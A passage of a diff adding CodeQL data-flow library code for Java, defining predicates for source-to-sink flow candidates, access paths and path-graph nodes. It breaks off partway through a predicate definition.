+ * consideration. This is restricted to paths that does not necessarily + * preserve the value of `p` by making use of at least one additional step + * from the configuration. + */ +pragma[nomagic] +private predicate simpleParameterFlow(ParameterNode p, Node node, RefType t, Configuration config) { + nodeCand1(node, false, config) and + p = node and + t = getErasedRepr(node.getType()) and + not parameterValueFlowsThrough(p) + or + nodeCand1(node, false, unbind(config)) and + exists(Node mid | + simpleParameterFlow(p, mid, t, config) and + localFlowStep(mid, node, true, config) and + compatibleTypes(t, node.getType()) + ) + or + nodeCand1(node, false, unbind(config)) and + exists(Node mid | + simpleParameterFlow(p, mid, _, config) and + localFlowStep(mid, node, false, config) and + t = getErasedRepr(node.getType()) + ) + or + nodeCand1(node, false, unbind(config)) and + exists(Node mid | + simpleParameterFlow(p, mid, t, config) and + localStoreReadStep(mid, node) and + compatibleTypes(t, node.getType()) + ) + or + // value flow through a callable + nodeCand1(node, false, config) and + exists(Node arg | + simpleParameterFlow(p, arg, t, config) and + argumentValueFlowsThrough(arg, node) and + compatibleTypes(t, node.getType()) + ) + or + // flow through a callable + nodeCand1(node, false, config) and + exists(Node arg | + simpleParameterFlow(p, arg, _, config) and + simpleArgumentFlowsThrough(arg, node, t, config) + ) +} + +/** + * Holds if data can flow from `arg` through the `call` taking simple call + * contexts into consideration and that this is part of a path from a source + * to a sink. This is restricted to paths through the `call` that does not + * necessarily preserve the value of `arg` by making use of at least one + * additional step from the configuration. + */ +private predicate simpleArgumentFlowsThrough( + ArgumentNode arg, ExprNode call, RefType t, Configuration config +) { + exists(ParameterNode param, ReturnNode ret | + nodeCand1(arg, false, unbind(config)) and + nodeCand1(call, false, unbind(config)) and + viableParamArg(param, arg) and + simpleParameterFlow(param, ret, t, config) and + arg.argumentOf(call.getExpr(), _) + ) +} + +/** + * Holds if data can flow from `node1` to `node2` by a step through a method. + */ +private predicate flowThroughMethod( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + simpleArgumentFlowsThrough(node1, node2, _, config) and preservesValue = false + or + argumentValueFlowsThrough(node1, node2) and preservesValue = true +} + +/** + * Holds if data can flow from `node1` to `node2` in one local step or a step + * through a method. + */ +private predicate localFlowStepOrFlowThroughMethod( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + localFlowStep(node1, node2, preservesValue, config) or + flowThroughMethod(node1, node2, preservesValue, config) +} + +/** + * Holds if data can flow out of a callable from `node1` to `node2`, either + * through a `ReturnNode` or through an argument that has been mutated, and + * that this step is part of a path from a source to a sink. + */ +private predicate flowOutOfCallable(Node node1, Node node2, Configuration config) { + nodeCand1(node1, _, unbind(config)) and + nodeCand1(node2, _, config) and + ( + // flow out of an argument + exists(ParameterNode p | + parameterValueFlowsToUpdate(p, node1) and + viableParamArg(p, node2.(PostUpdateNode).getPreUpdateNode()) + ) + or + // flow out of a method + exists(Method m, MethodAccess ma, ReturnNode ret | + ret = node1 and + m = returnNodeGetEnclosingCallable(ret) and + m = viableImpl(ma) and + node2.asExpr() = ma + ) + ) +} + +/** + * Holds if data can flow into a callable and that this step is part of a + * path from a source to a sink. + */ +private predicate flowIntoCallable(Node node1, Node node2, Configuration config) { + viableParamArg(node2, node1) and + nodeCand1(node1, _, unbind(config)) and + nodeCand1(node2, _, config) +} + +/** + * Gets the amount of forward branching on the origin of a cross-call path + * edge in the graph of paths between sources and sinks that ignores call + * contexts. + */ +private int branch(Node n1, Configuration conf) { + result = strictcount(Node n | flowOutOfCallable(n1, n, conf) or flowIntoCallable(n1, n, conf)) +} + +/** + * Gets the amount of backward branching on the target of a cross-call path + * edge in the graph of paths between sources and sinks that ignores call + * contexts. + */ +private int join(Node n2, Configuration conf) { + result = strictcount(Node n | flowOutOfCallable(n, n2, conf) or flowIntoCallable(n, n2, conf)) +} + +/** + * Holds if data can flow out of a callable from `node1` to `node2`, either + * through a `ReturnNode` or through an argument that has been mutated, and + * that this step is part of a path from a source to a sink. The + * `allowsFieldFlow` flag indicates whether the branching is within the limit + * specified by the configuration. + */ +private predicate flowOutOfCallable( + Node node1, Node node2, boolean allowsFieldFlow, Configuration config +) { + flowOutOfCallable(node1, node2, config) and + exists(int b, int j | + b = branch(node1, config) and + j = join(node2, config) and + if b.minimum(j) <= config.fieldFlowBranchLimit() + then allowsFieldFlow = true + else allowsFieldFlow = false + ) +} + +/** + * Holds if data can flow into a callable and that this step is part of a + * path from a source to a sink. The `allowsFieldFlow` flag indicates whether + * the branching is within the limit specified by the configuration. + */ +private predicate flowIntoCallable( + Node node1, Node node2, boolean allowsFieldFlow, Configuration config +) { + flowIntoCallable(node1, node2, config) and + exists(int b, int j | + b = branch(node1, config) and + j = join(node2, config) and + if b.minimum(j) <= config.fieldFlowBranchLimit() + then allowsFieldFlow = true + else allowsFieldFlow = false + ) +} + +/** + * Holds if `node` is part of a path from a source to a sink in the given + * configuration taking simple call contexts into consideration. + */ +private predicate nodeCandFwd2(Node node, boolean fromArg, boolean stored, Configuration config) { + nodeCand1(node, false, config) and + config.isSource(node) and + fromArg = false and + stored = false + or + nodeCand1(node, unbindBool(stored), unbind(config)) and + ( + exists(Node mid, boolean preservesValue | + nodeCandFwd2(mid, fromArg, stored, config) and + localFlowStepOrFlowThroughMethod(mid, node, preservesValue, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + nodeCandFwd2(mid, _, stored, config) and + jumpStep(mid, node, preservesValue, config) and + fromArg = false and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid, Content f | + nodeCandFwd2(mid, fromArg, _, config) and + store(mid, f, node) and + readCand1(f, unbind(config)) and + stored = true + ) + or + // read + exists(Node mid, Content f | + nodeCandFwd2(mid, fromArg, true, config) and + read(mid, f, node) and + storeCandFwd2(f, unbind(config)) and + (stored = false or stored = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + nodeCandFwd2(mid, _, stored, config) and + flowIntoCallable(mid, node, allowsFieldFlow, config) and + fromArg = true and + (stored = false or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + nodeCandFwd2(mid, false, stored, config) and + flowOutOfCallable(mid, node, allowsFieldFlow, config) and + fromArg = false and + (stored = false or allowsFieldFlow = true) + ) + ) +} + +/** + * Holds if `f` is the target of a store in the flow covered by `nodeCandFwd2`. + */ +private predicate storeCandFwd2(Content f, Configuration config) { + exists(Node mid, Node node | + useFieldFlow(config) and + nodeCand1(node, true, unbind(config)) and + nodeCandFwd2(mid, _, _, config) and + store(mid, f, node) and + readCand1(f, unbind(config)) + ) +} + +/** + * Holds if `node` is part of a path from a source to a sink in the given + * configuration taking simple call contexts into consideration. + */ +private predicate nodeCand2(Node node, boolean toReturn, boolean stored, Configuration config) { + nodeCandFwd2(node, _, false, config) and + config.isSink(node) and + toReturn = false and + stored = false + or + nodeCandFwd2(node, _, unbindBool(stored), unbind(config)) and + ( + exists(Node mid, boolean preservesValue | + localFlowStepOrFlowThroughMethod(node, mid, preservesValue, config) and + nodeCand2(mid, toReturn, stored, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + jumpStep(node, mid, preservesValue, config) and + nodeCand2(mid, _, stored, config) and + toReturn = false and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid, Content f | + store(node, f, mid) and + readCand2(f, unbind(config)) and + nodeCand2(mid, toReturn, true, config) and + (stored = false or stored = true) + ) + or + // read + exists(Node mid, Content f | + read(node, f, mid) and + storeCandFwd2(f, unbind(config)) and + nodeCand2(mid, toReturn, _, config) and + stored = true + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowIntoCallable(node, mid, allowsFieldFlow, config) and + nodeCand2(mid, false, stored, config) and + toReturn = false and + (stored = false or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowOutOfCallable(node, mid, allowsFieldFlow, config) and + nodeCand2(mid, _, stored, config) and + toReturn = true and + (stored = false or allowsFieldFlow = true) + ) + ) +} + +/** + * Holds if `f` is the target of a read in the flow covered by `nodeCand2`. + */ +private predicate readCand2(Content f, Configuration config) { + exists(Node mid, Node node | + useFieldFlow(config) and + nodeCandFwd2(node, _, true, unbind(config)) and + read(node, f, mid) and + storeCandFwd2(f, unbind(config)) and + nodeCand2(mid, _, _, config) + ) +} + +private predicate storeCand(Content f, Configuration conf) { + exists(Node n1, Node n2 | + store(n1, f, n2) and + nodeCand2(n1, _, _, conf) and + nodeCand2(n2, _, _, unbind(conf)) + ) +} + +private predicate readCand(Content f, Configuration conf) { readCand2(f, conf) } + +/** + * Holds if `f` is the target of both a store and a read in the path graph + * covered by `nodeCand2`. + */ +pragma[noinline] +private predicate readStoreCand(Content f, Configuration conf) { + storeCand(f, conf) and + readCand(f, conf) +} + +private predicate nodeCand(Node node, Configuration config) { nodeCand2(node, _, _, config) } + +/** + * Holds if `node` can be the first node in a maximal subsequence of local + * flow steps in a dataflow path. + */ +private predicate localFlowEntry(Node node, Configuration config) { + nodeCand(node, config) and + ( + config.isSource(node) or + jumpStep(_, node, _, config) or + node instanceof ParameterNode or + node.asExpr() instanceof MethodAccess or + node instanceof PostUpdateNode or + read(_, _, node) or + node.asExpr() instanceof CastExpr + ) +} + +/** + * Holds if `node` can be the last node in a maximal subsequence of local + * flow steps in a dataflow path. + */ +private predicate localFlowExit(Node node, Configuration config) { + exists(Node next | nodeCand(next, config) | + jumpStep(node, next, _, config) or + flowIntoCallable(node, next, config) or + flowOutOfCallable(node, next, config) or + flowThroughMethod(node, next, _, config) or + store(node, _, next) or + read(node, _, next) + ) + or + node.asExpr() instanceof CastExpr + or + config.isSink(node) +} + +/** + * Holds if the local path from `node1` to `node2` is a prefix of a maximal + * subsequence of local flow steps in a dataflow path. + * + * This is the transitive closure of `localFlowStep` beginning at `localFlowEntry`. + */ +private predicate localFlowStepPlus( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + localFlowEntry(node1, config) and + localFlowStep(node1, node2, preservesValue, config) and + node1 != node2 and + nodeCand(node2, unbind(config)) + or + exists(Node mid, boolean pv1, boolean pv2 | + localFlowStepPlus(node1, mid, pv1, config) and + localFlowStep(mid, node2, pv2, config) and + not mid.asExpr() instanceof CastExpr and + preservesValue = pv1.booleanAnd(pv2) and + nodeCand(node2, unbind(config)) + ) +} + +/** + * Holds if `node1` can step to `node2` in one or more local steps and this + * path can occur as a maximal subsequence of local steps in a dataflow path. + */ +pragma[noinline] +private predicate localFlowBigStep( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + localFlowStepPlus(node1, node2, preservesValue, config) and + localFlowExit(node2, config) +} + +private newtype TAccessPathFront = + TFrontNil(Type t) or + TFrontHead(Content f) + +/** + * The front of an `AccessPath`. This is either a head or a nil. + */ +private class AccessPathFront extends TAccessPathFront { + string toString() { + exists(Type t | this = TFrontNil(t) | result = ppReprType(t)) + or + exists(Content f | this = TFrontHead(f) | result = f.toString()) + } + + Type getType() { + this = TFrontNil(result) + or + exists(Content head | this = TFrontHead(head) | result = head.getContainerType()) + } + + predicate headUsesContent(Content f) { this = TFrontHead(f) } +} + +private class AccessPathFrontNil extends AccessPathFront, TFrontNil { } + +/** + * A `Node` at which a cast can occur such that the type should be checked. + */ +private class CastingNode extends Node { + CastingNode() { + this instanceof ParameterNode or + this.asExpr() instanceof CastExpr or + this.asExpr() instanceof MethodAccess or + this.(PostUpdateNode).getPreUpdateNode() instanceof ArgumentNode + } +} + +/** + * Holds if data can flow from a source to `node` with the given `apf`. + */ +private predicate flowCandFwd(Node node, boolean fromArg, AccessPathFront apf, Configuration config) { + flowCandFwd0(node, fromArg, apf, config) and + if node instanceof CastingNode then compatibleTypes(node.getType(), apf.getType()) else any() +} + +private predicate flowCandFwd0(Node node, boolean fromArg, AccessPathFront apf, Configuration config) { + nodeCand2(node, _, false, config) and + config.isSource(node) and + fromArg = false and + apf = TFrontNil(getErasedRepr(node.getType())) + or + nodeCand(node, unbind(config)) and + ( + exists(Node mid | + flowCandFwd(mid, fromArg, apf, config) and + localFlowBigStep(mid, node, true, config) + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(mid, fromArg, apf0, config) and + localFlowBigStep(mid, node, false, config) and + apf0 instanceof AccessPathFrontNil and + apf = TFrontNil(getErasedRepr(node.getType())) + ) + or + exists(Node mid | + flowCandFwd(mid, _, apf, config) and + jumpStep(mid, node, true, config) and + fromArg = false + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(mid, _, apf0, config) and + jumpStep(mid, node, false, config) and + fromArg = false and + apf0 instanceof AccessPathFrontNil and + apf = TFrontNil(getErasedRepr(node.getType())) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowCandFwd(mid, _, apf, config) and + flowIntoCallable(mid, node, allowsFieldFlow, config) and + fromArg = true and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowCandFwd(mid, false, apf, config) and + flowOutOfCallable(mid, node, allowsFieldFlow, config) and + fromArg = false and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPathFront apf0 | + flowCandFwd(mid, fromArg, apf0, config) and + flowThroughMethod(mid, node, preservesValue, config) and + ( + preservesValue = true and apf = apf0 + or + preservesValue = false and + apf0 instanceof AccessPathFrontNil and + apf = TFrontNil(getErasedRepr(node.getType())) + ) + ) + ) + or + exists(Node mid, Content f | + flowCandFwd(mid, fromArg, _, config) and + store(mid, f, node) and + nodeCand(node, unbind(config)) and + apf.headUsesContent(f) + ) + or + exists(Node mid, Content f, AccessPathFront apf0 | + flowCandFwd(mid, fromArg, apf0, config) and + read(mid, f, node) and + nodeCand(node, config) and + apf0.headUsesContent(f) and + consCandFwd(f, apf, unbind(config)) + ) +} + +private predicate consCandFwd(Content f, AccessPathFront apf, Configuration config) { + exists(Node mid, Node n | + flowCandFwd(mid, _, apf, config) and + store(mid, f, n) and + nodeCand(n, unbind(config)) and + readStoreCand(f, unbind(config)) and + compatibleTypes(apf.getType(), f.getType()) + ) +} + +/** + * Holds if data can flow from a source to `node` with the given `apf` and + * from there flow to a sink. + */ +private predicate flowCand(Node node, boolean toReturn, AccessPathFront apf, Configuration config) { + flowCand0(node, toReturn, apf, config) and + flowCandFwd(node, _, apf, config) +} + +private predicate flowCand0(Node node, boolean toReturn, AccessPathFront apf, Configuration config) { + flowCandFwd(node, _, apf, config) and + config.isSink(node) and + toReturn = false and + apf instanceof AccessPathFrontNil + or + ( + exists(Node mid | + localFlowBigStep(node, mid, true, config) and + flowCand(mid, toReturn, apf, config) + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(node, _, apf, config) and + localFlowBigStep(node, mid, false, config) and + flowCand(mid, toReturn, apf0, config) and + apf0 instanceof AccessPathFrontNil and + apf instanceof AccessPathFrontNil + ) + or + exists(Node mid | + jumpStep(node, mid, true, config) and + flowCand(mid, _, apf, config) and + toReturn = false + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(node, _, apf, config) and + jumpStep(node, mid, false, config) and + flowCand(mid, _, apf0, config) and + toReturn = false and + apf0 instanceof AccessPathFrontNil and + apf instanceof AccessPathFrontNil + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowIntoCallable(node, mid, allowsFieldFlow, config) and + flowCand(mid, false, apf, config) and + toReturn = false and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowOutOfCallable(node, mid, allowsFieldFlow, config) and + flowCand(mid, _, apf, config) and + toReturn = true and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPathFront apf0 | + flowThroughMethod(node, mid, preservesValue, config) and + flowCand(mid, toReturn, apf0, config) and + ( + preservesValue = true and apf = apf0 + or + preservesValue = false and + apf0 instanceof AccessPathFrontNil and + apf instanceof AccessPathFrontNil and + flowCandFwd(node, _, apf, config) + ) + ) + or + exists(Node mid, Content f, AccessPathFront apf0 | + store(node, f, mid) and + flowCand(mid, toReturn, apf0, config) and + apf0.headUsesContent(f) and + consCand(f, apf, unbind(config)) + ) + or + exists(Node mid, Content f, AccessPathFront apf0 | + read(node, f, mid) and + flowCand(mid, toReturn, apf0, config) and + consCandFwd(f, apf0, unbind(config)) and + apf.headUsesContent(f) + ) + ) +} + +private predicate consCand(Content f, AccessPathFront apf, Configuration config) { + consCandFwd(f, apf, config) and + exists(Node mid, Node n, AccessPathFront apf0 | + flowCandFwd(n, _, apf0, config) and + apf0.headUsesContent(f) and + read(n, f, mid) and + flowCand(mid, _, apf, config) + ) +} + +private newtype TAccessPath = + TNil(Type t) or + TCons(Content f, int len) { len in [1 .. 5] } + +/** + * Conceptually a list of `Content`s followed by a `Type`, but only the first + * element of the list and its length are tracked. If data flows from a source to + * a given node with a given `AccessPath`, this indicates the sequence of + * dereference operations needed to get from the value in the node to the + * tracked object. The final type indicates the type of the tracked object. + */ +private class AccessPath extends TAccessPath { + abstract string toString(); + + Content getHead() { this = TCons(result, _) } + + int len() { + this = TNil(_) and result = 0 + or + this = TCons(_, result) + } + + Type getType() { + this = TNil(result) + or + exists(Content head | this = TCons(head, _) | result = head.getContainerType()) + } + + abstract AccessPathFront getFront(); +} + +private class AccessPathNil extends AccessPath, TNil { + override string toString() { exists(Type t | this = TNil(t) | result = ppReprType(t)) } + + override AccessPathFront getFront() { exists(Type t | this = TNil(t) | result = TFrontNil(t)) } +} + +private class AccessPathCons extends AccessPath, TCons { + override string toString() { + exists(Content f, int len | this = TCons(f, len) | + result = f.toString() + ", ... (" + len.toString() + ")" + ) + } + + override AccessPathFront getFront() { + exists(Content f | this = TCons(f, _) | result = TFrontHead(f)) + } +} + +/** Holds if `ap0` corresponds to the cons of `f` and `ap`. */ +private predicate pop(AccessPath ap0, Content f, AccessPath ap) { + ap0.getFront().headUsesContent(f) and + consCand(f, ap.getFront(), _) and + ap0.len() = 1 + ap.len() +} + +/** Holds if `ap0` corresponds to the cons of `f` and `ap` and `apf` is the front of `ap`. */ +pragma[noinline] +private predicate popWithFront(AccessPath ap0, Content f, AccessPathFront apf, AccessPath ap) { + pop(ap0, f, ap) and apf = ap.getFront() +} + +/** Holds if `ap` corresponds to the cons of `f` and `ap0`. */ +private predicate push(AccessPath ap0, Content f, AccessPath ap) { pop(ap, f, ap0) } + +/** + * Holds if data can flow from a source to `node` with the given `ap`. + */ +private predicate flowFwd( + Node node, boolean fromArg, AccessPathFront apf, AccessPath ap, Configuration config +) { + flowFwd0(node, fromArg, apf, ap, config) and + flowCand(node, _, apf, config) +} + +private predicate flowFwd0( + Node node, boolean fromArg, AccessPathFront apf, AccessPath ap, Configuration config +) { + flowCand(node, _, _, config) and + config.isSource(node) and + fromArg = false and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + or + flowCand(node, _, _, unbind(config)) and + ( + exists(Node mid | + flowFwd(mid, fromArg, apf, ap, config) and + localFlowBigStep(mid, node, true, config) + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(mid, fromArg, _, ap0, config) and + localFlowBigStep(mid, node, false, config) and + ap0 instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + ) + or + exists(Node mid | + flowFwd(mid, _, apf, ap, config) and + jumpStep(mid, node, true, config) and + fromArg = false + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(mid, _, _, ap0, config) and + jumpStep(mid, node, false, config) and + fromArg = false and + ap0 instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowFwd(mid, _, apf, ap, config) and + flowIntoCallable(mid, node, allowsFieldFlow, config) and + fromArg = true and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowFwd(mid, false, apf, ap, config) and + flowOutOfCallable(mid, node, allowsFieldFlow, config) and + fromArg = false and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPathFront apf0, AccessPath ap0 | + flowFwd(mid, fromArg, apf0, ap0, config) and + flowThroughMethod(mid, node, preservesValue, config) and + ( + preservesValue = true and ap = ap0 and apf = apf0 + or + preservesValue = false and + ap0 instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + ) + ) + ) + or + exists(Content f, AccessPath ap0 | + flowFwdStore(node, f, ap0, apf, fromArg, config) and + push(ap0, f, ap) + ) + or + exists(Content f, AccessPath ap0 | + flowFwdRead(node, f, ap0, fromArg, config) and + popWithFront(ap0, f, apf, ap) + ) +} + +pragma[nomagic] +private predicate flowFwdStore( + Node node, Content f, AccessPath ap0, AccessPathFront apf, boolean fromArg, Configuration config +) { + exists(Node mid, AccessPathFront apf0 | + flowFwd(mid, fromArg, apf0, ap0, config) and + flowFwdStoreAux(mid, f, node, apf0, apf, config) + ) +} + +private predicate flowFwdStoreAux( + Node mid, Content f, Node node, AccessPathFront apf0, AccessPathFront apf, Configuration config +) { + store(mid, f, node) and + consCand(f, apf0, config) and + apf.headUsesContent(f) and + flowCand(node, _, apf, unbind(config)) +} + +pragma[nomagic] +private predicate flowFwdRead( + Node node, Content f, AccessPath ap0, boolean fromArg, Configuration config +) { + exists(Node mid, AccessPathFront apf0 | + flowFwd(mid, fromArg, apf0, ap0, config) and + read(mid, f, node) and + apf0.headUsesContent(f) and + flowCand(node, _, _, unbind(config)) + ) +} + +/** + * Holds if data can flow from a source to `node` with the given `ap` and + * from there flow to a sink. + */ +private predicate flow(Node node, boolean toReturn, AccessPath ap, Configuration config) { + flow0(node, toReturn, ap, config) and + flowFwd(node, _, _, ap, config) +} + +private predicate flow0(Node node, boolean toReturn, AccessPath ap, Configuration config) { + flowFwd(node, _, _, ap, config) and + config.isSink(node) and + toReturn = false and + ap instanceof AccessPathNil + or + ( + exists(Node mid | + localFlowBigStep(node, mid, true, config) and + flow(mid, toReturn, ap, config) + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(node, _, _, ap, config) and + localFlowBigStep(node, mid, false, config) and + flow(mid, toReturn, ap0, config) and + ap0 instanceof AccessPathNil and + ap instanceof AccessPathNil + ) + or + exists(Node mid | + jumpStep(node, mid, true, config) and + flow(mid, _, ap, config) and + toReturn = false + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(node, _, _, ap, config) and + jumpStep(node, mid, false, config) and + flow(mid, _, ap0, config) and + toReturn = false and + ap0 instanceof AccessPathNil and + ap instanceof AccessPathNil + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowIntoCallable(node, mid, allowsFieldFlow, config) and + flow(mid, false, ap, config) and + toReturn = false and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowOutOfCallable(node, mid, allowsFieldFlow, config) and + flow(mid, _, ap, config) and + toReturn = true and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPath ap0 | + flowThroughMethod(node, mid, preservesValue, config) and + flow(mid, toReturn, ap0, config) and + ( + preservesValue = true and ap = ap0 + or + preservesValue = false and + ap0 instanceof AccessPathNil and + ap instanceof AccessPathNil and + flowFwd(node, _, _, ap, config) + ) + ) + or + exists(Content f, AccessPath ap0 | + flowStore(node, f, toReturn, ap0, config) and + pop(ap0, f, ap) + ) + or + exists(Content f, AccessPath ap0 | + flowRead(node, f, toReturn, ap0, config) and + push(ap0, f, ap) + ) + ) +} + +pragma[nomagic] +private predicate flowStore( + Node node, Content f, boolean toReturn, AccessPath ap0, Configuration config +) { + exists(Node mid | + store(node, f, mid) and + flow(mid, toReturn, ap0, config) + ) +} + +pragma[nomagic] +private predicate flowRead( + Node node, Content f, boolean toReturn, AccessPath ap0, Configuration config +) { + exists(Node mid | + read(node, f, mid) and + flow(mid, toReturn, ap0, config) + ) +} + +bindingset[conf, result] +private Configuration unbind(Configuration conf) { result >= conf and result <= conf } + +private predicate flow(Node n, Configuration config) { flow(n, _, _, config) } + +private newtype TPathNode = + TPathNodeMid(Node node, CallContext cc, AccessPath ap, Configuration config) { + // A PathNode is introduced by a source ... + flow(node, config) and + config.isSource(node) and + cc instanceof CallContextAny and + ap = TNil(getErasedRepr(node.getType())) + or + // ... or a step from an existing PathNode to another node. + exists(PathNodeMid mid | + flowStep(mid, node, cc, ap) and + config = mid.getConfiguration() and + flow(node, _, ap, unbind(config)) + ) + } or + TPathNodeSink(Node node, Configuration config) { + // The AccessPath on a sink is empty. + config.isSink(node) and + flow(node, config) + } + +/** + * A `Node` augmented with a call context (except for sinks), an access path, and a configuration. + * Only those `PathNode`s that are reachable from a source are generated. + */ +abstract class PathNode extends TPathNode { + /** Gets a textual representation of this element. */ + string toString() { result = getNode().toString() + ppAp() } + + /** Gets the source location for this element. */ + Location getLocation() { result = getNode().getLocation() } + + /** Gets the underlying `Node`. */ + abstract Node getNode(); + + /** Gets the associated configuration. */ + abstract Configuration getConfiguration(); + + /** Gets a successor. */ + abstract PathNode getSucc(); + + private string ppAp() { + this instanceof PathNodeSink and result = "" + or + result = " [" + this.(PathNodeMid).getAp().toString() + "]" + } +} + +/** Holds if `n` can reach a sink. */ +private predicate reach(PathNode n) { n instanceof PathNodeSink or reach(n.getSucc()) } + +/** Holds if `n1.getSucc() = n2` and `n2` can reach a sink. */ +private predicate pathSucc(PathNode n1, PathNode n2) { n1.getSucc() = n2 and reach(n2) } + +private predicate pathSuccPlus(PathNode n1, PathNode n2) = fastTC(pathSucc/2)(n1, n2) + +/** + * Provides the query predicates needed to include a graph in a path-problem query. + */ +module PathGraph { + /** Holds if `(a,b)` is an edge in the graph of data flow path explanations. */ + query predicate edges(PathNode a, PathNode b) { pathSucc(a, b) } +} + +/** + * An intermediate flow graph node. This is a triple consisting of a `Node`, + * a `CallContext`, and a `Configuration`. + */ +private class PathNodeMid extends PathNode, TPathNodeMid { + Node node; + + CallContext cc; + + AccessPath ap; + + Configuration config; + + PathNodeMid() { this = TPathNodeMid(node, cc, ap, config) } + + override Node getNode() { result = node } + + CallContext getCallContext() { result = cc } + + AccessPath getAp() { result = ap } + + override Configuration getConfiguration() { result = config } + + private PathNodeMid getSuccMid() { + flowStep(this, result.getNode(), result.getCallContext(), result.getAp()) and + result.getConfiguration() = unbind(this.getConfiguration()) + } + + override PathNode getSucc() { + // an intermediate step to another intermediate node + result = getSuccMid() + or + // a final step to a sink via one or more local steps + localFlowStepPlus(node, result.getNode(), _, config) and + ap instanceof AccessPathNil and + result instanceof PathNodeSink and + result.getConfiguration() = unbind(this.getConfiguration()) + or + // a final step to a sink via zero steps means we merge the last two steps to prevent trivial-looking edges + exists(PathNodeMid mid | + mid = getSuccMid() and + mid.getNode() = result.getNode() and + mid.getAp() instanceof AccessPathNil and + result instanceof PathNodeSink and + result.getConfiguration() = unbind(mid.getConfiguration()) + ) + or + // a direct step from a source to a sink if a node is both + this instanceof PathNodeSource and + result instanceof PathNodeSink and + this.getNode() = result.getNode() and + result.getConfiguration() = unbind(this.getConfiguration()) + } +} + +/** + * A flow graph node corresponding to a source. + */ +private class PathNodeSource extends PathNodeMid { + PathNodeSource() { + getConfiguration().isSource(getNode()) and + getCallContext() instanceof CallContextAny and + getAp() instanceof AccessPathNil + } +} + +/** + * A flow graph node corresponding to a sink. This is disjoint from the + * intermediate nodes in order to uniquely correspond to a given sink by + * excluding the `CallContext`. + */ +private class PathNodeSink extends PathNode, TPathNodeSink { + Node node; + + Configuration config; + + PathNodeSink() { this = TPathNodeSink(node, config) } + + override Node getNode() { result = node } + + override Configuration getConfiguration() { result = config } + + override PathNode getSucc() { none() } +} + +/** + * Holds if data may flow from `mid` to `node`. The last step in or out of + * a callable is recorded by `cc`. + */ +private predicate flowStep(PathNodeMid mid, Node node, CallContext cc, AccessPath ap) { + localFlowBigStep(mid.getNode(), node, true, mid.getConfiguration()) and + cc = mid.getCallContext() and + ap = mid.getAp() + or + localFlowBigStep(mid.getNode(), node, false, mid.getConfiguration()) and + cc = mid.getCallContext() and + mid.getAp() instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) + or + jumpStep(mid.getNode(), node, true, mid.getConfiguration()) and + cc instanceof CallContextAny and + ap = mid.getAp() + or + jumpStep(mid.getNode(), node, false, mid.getConfiguration()) and + cc instanceof CallContextAny and + mid.getAp() instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) + or + contentReadStep(mid, node, ap) and cc = mid.getCallContext() + or + exists(Content f, AccessPath ap0 | contentStoreStep(mid, node, ap0, f, cc) and push(ap0, f, ap)) + or + flowOutOfArgument(mid, node, cc) and ap = mid.getAp() + or + flowIntoCallable(mid, node, _, cc, _) and ap = mid.getAp() + or + flowOutOfMethod(mid, node.asExpr(), cc) and ap = mid.getAp() + or + flowThroughMethod(mid, node.asExpr(), cc) and ap = TNil(getErasedRepr(node.getType())) + or + valueFlowThroughMethod(mid, node.asExpr(), cc) and ap = mid.getAp() +} + +private predicate contentReadStep(PathNodeMid mid, Node node, AccessPath ap) { + exists(Content f, AccessPath ap0 | + ap0 = mid.getAp() and + read(mid.getNode(), f, node) and + pop(ap0, f, ap) + ) +} + +pragma[noinline] +private predicate contentStoreStep( + PathNodeMid mid, Node node, AccessPath ap0, Content f, CallContext cc +) { + ap0 = mid.getAp() and + store(mid.getNode(), f, node) and + cc = mid.getCallContext() +} + +/** + * Holds if data may flow from `mid` to an exit of `m` in the context + * `innercc`, and the path did not flow through a parameter of `m`. + */ +private predicate flowOutOfMethod0(PathNodeMid mid, Method m, CallContext innercc) { + exists(ReturnNode ret | + ret = mid.getNode() and + innercc = 